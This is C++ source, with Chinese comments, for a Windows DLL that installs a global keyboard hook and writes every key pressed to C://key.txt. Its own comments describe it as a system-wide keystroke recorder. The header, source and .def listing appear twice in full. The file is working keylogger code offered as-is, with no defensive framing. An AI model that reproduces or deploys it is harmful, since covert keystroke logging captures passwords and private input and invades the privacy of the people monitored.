/*******KeyHookLib.h文件*********/
// 定义函数修饰宏,方便引用本DLL工程的导出函数
#ifdef KEYHOOKLIB_EXPORTS
#define KEYHOOKLIB_API __declspec(dllexport)
#else
#define KEYHOOKLIB_API __declspec(dllimport)
#endif
// 声明要导出的函数
BOOL KEYHOOKLIB_API WINAPI SetKeyHook( BOOL bInstall, DWORD dwThreadId = 0, HWND hWndCaller = NULL);
/*******KeyHookLib.cpp文件********/
#include <windows.h>
#include <stdio.h>
#define KEYHOOKLIB_EXPORTS
#include "win32keyhook.h"
// 共享数据段
#pragma data_seg("YCIShared")
HWND g_hWndCaller = NULL; // 保存主窗口句柄
HHOOK g_hHook = NULL; // 保存钩子句柄
#pragma data_seg()
int coutfile( LPARAM lParam)
{ FILE * fstream;
char str[10];
if (!(fstream=fopen( "c://key.txt" , "a+" )))
return 0;
::GetKeyNameText(lParam, str, 10);
fprintf(fstream, "%s" ,str);
fclose(fstream);
return 0;
}
// 一个通过内存地址取得模块句柄的帮助函数
HMODULE WINAPI ModuleFromAddress( PVOID pv)
{
MEMORY_BASIC_INFORMATION mbi;
if (::VirtualQuery(pv, &mbi, sizeof (mbi)) != 0)
{
return ( HMODULE )mbi.AllocationBase;
}
else
{
return NULL;
}
}
// 键盘钩子函数
LRESULT CALLBACK KeyHookProc( int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode < 0 || nCode == HC_NOREMOVE)
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
if (lParam & 0x40000000) // 消息重复就交给下一个hook链
{
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
coutfile(lParam);
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
// 安装、卸载钩子的函数
BOOL WINAPI SetKeyHook( BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)
{
BOOL bOk;
g_hWndCaller = hWndCaller;
if (bInstall)
{
g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc,
ModuleFromAddress(KeyHookProc), dwThreadId);
bOk = (g_hHook != NULL);
}
else
{
bOk = ::UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
return bOk;
}
/*******win32keyhook.def***************/
EXPORTS
SetKeyHook
SECTIONS
YCIShared Read Write Shared
//实现:运行过后,记录文件在C:/KEY.TXT
//功能:实现全局系统范围内键盘记录功能
// 定义函数修饰宏,方便引用本DLL工程的导出函数
#ifdef KEYHOOKLIB_EXPORTS
#define KEYHOOKLIB_API __declspec(dllexport)
#else
#define KEYHOOKLIB_API __declspec(dllimport)
#endif
// 声明要导出的函数
BOOL KEYHOOKLIB_API WINAPI SetKeyHook( BOOL bInstall, DWORD dwThreadId = 0, HWND hWndCaller = NULL);
/*******KeyHookLib.cpp文件********/
#include <windows.h>
#include <stdio.h>
#define KEYHOOKLIB_EXPORTS
#include "win32keyhook.h"
// 共享数据段
#pragma data_seg("YCIShared")
HWND g_hWndCaller = NULL; // 保存主窗口句柄
HHOOK g_hHook = NULL; // 保存钩子句柄
#pragma data_seg()
int coutfile( LPARAM lParam)
{ FILE * fstream;
char str[10];
if (!(fstream=fopen( "c://key.txt" , "a+" )))
return 0;
::GetKeyNameText(lParam, str, 10);
fprintf(fstream, "%s" ,str);
fclose(fstream);
return 0;
}
// 一个通过内存地址取得模块句柄的帮助函数
HMODULE WINAPI ModuleFromAddress( PVOID pv)
{
MEMORY_BASIC_INFORMATION mbi;
if (::VirtualQuery(pv, &mbi, sizeof (mbi)) != 0)
{
return ( HMODULE )mbi.AllocationBase;
}
else
{
return NULL;
}
}
// 键盘钩子函数
LRESULT CALLBACK KeyHookProc( int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode < 0 || nCode == HC_NOREMOVE)
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
if (lParam & 0x40000000) // 消息重复就交给下一个hook链
{
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
coutfile(lParam);
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
// 安装、卸载钩子的函数
BOOL WINAPI SetKeyHook( BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)
{
BOOL bOk;
g_hWndCaller = hWndCaller;
if (bInstall)
{
g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc,
ModuleFromAddress(KeyHookProc), dwThreadId);
bOk = (g_hHook != NULL);
}
else
{
bOk = ::UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
return bOk;
}
/*******win32keyhook.def***************/
EXPORTS
SetKeyHook
SECTIONS
YCIShared Read Write Shared
//实现:运行过后,记录文件在C:/KEY.TXT
//功能:实现全局系统范围内键盘记录功能